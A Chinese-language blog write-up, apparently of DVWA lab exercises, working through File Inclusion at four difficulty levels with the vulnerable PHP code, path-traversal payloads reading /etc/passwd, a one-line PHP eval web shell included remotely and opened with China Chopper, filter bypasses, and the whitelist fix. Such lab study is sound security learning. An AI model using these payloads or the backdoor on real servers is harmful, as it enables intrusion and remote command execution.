zoukankan      html  css  js  c++  java
  • DVWA学习记录 PartⅣ

    File Inclusion

    1. 题目

    File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

    File_Inclusion1

    2. Low

    a. 代码分析

    <?php 
    // The page we wish to display 
    $file = $_GET[ 'page' ]; 
    ?> 
    

    代码对于get的参数没有任何过滤和检测。由于page参数不可控,可能导致漏洞。

    b. 漏洞利用

    本地文件包含:

    构建payload:?page=file4.php

    得到隐藏文件:

    File_Inclusion2

    查看/etc/passwd:?page=../../../../../../../../etc/passwd

    File_Inclusion3

    远程文件包含:

    在服务器上写后门

    <?php
            @eval($_POST['123']);
    ?>
    

    构造payload:http://[ip]/DVWA/vulnerabilities/fi/?page=http://[ip]/backdoor.php

    为了增加隐蔽性,可以对http://[ip]/backdoor.php进行编码。

    使用菜刀连接

    3. Medium

    a. 代码分析

    <?php 
    // The page we wish to display 
    $file = $_GET[ 'page' ]; 
    // Input validation 
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", ".."" ), "", $file ); 
    ?> 
    

    代码对于输入的参数,进行了简单的替换。

    b. 漏洞利用

    此类替换可以使用双写的方式绕过。

    LFI?page=..././..././..././..././..././..././..././etc/passwd

    RFIhthttp://tp://[ip]/backdoor.php

    4. High

    a. 代码分析

    <?php 
    
    // The page we wish to display 
    $file = $_GET[ 'page' ]; 
    
    // Input validation 
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want! 
        echo "ERROR: File not found!"; 
        exit; 
    } 
    
    ?> 
    

    代码对于输入参数限制必须为file开头,或者访问include.php。

    fnmatch() 函数根据指定的模式来匹配文件名或字符串。
    fnmatch(pattern,string,flags)
    pattern	必需。规定要检索的模式。
    string	必需。规定要检查的字符串或文件。
    flags	可选。
    

    b. 漏洞利用

    使用file://协议,构建payload:file:///etc/passwd

    RFL:需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

    5. impossible

    a. 代码分析

    <?php 
    // The page we wish to display 
    $file = $_GET[ 'page' ]; 
    // Only allow include.php or file{1..3}.php 
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want! 
        echo "ERROR: File not found!"; 
        exit; 
    } 
    ?> 
    

    直接使用白名单机制,限制page参数必须为白名单中的字符串,彻底杜绝了文件包含漏洞。

  • 相关阅读:
    sys.exc_info()方法:获取异常信息
    tempfile模块:生成临时文件和临时目录
    fnmatch模块:用于文件名的匹配
    pathlib模块用法详解
    linecache模块 随机读取文件指定行
    fileinput模块:逐行读取多个文件
    asyncio异步IO--协程(Coroutine)与任务(Task)详解
    Python中协程异步IO(asyncio)详解
    删除某个时间段之前的文件
    Mac入门--如何使用brew安装多个PHP版本
  • 原文地址:https://www.cnblogs.com/chalan630/p/12763393.html
Copyright © 2011-2022 走看看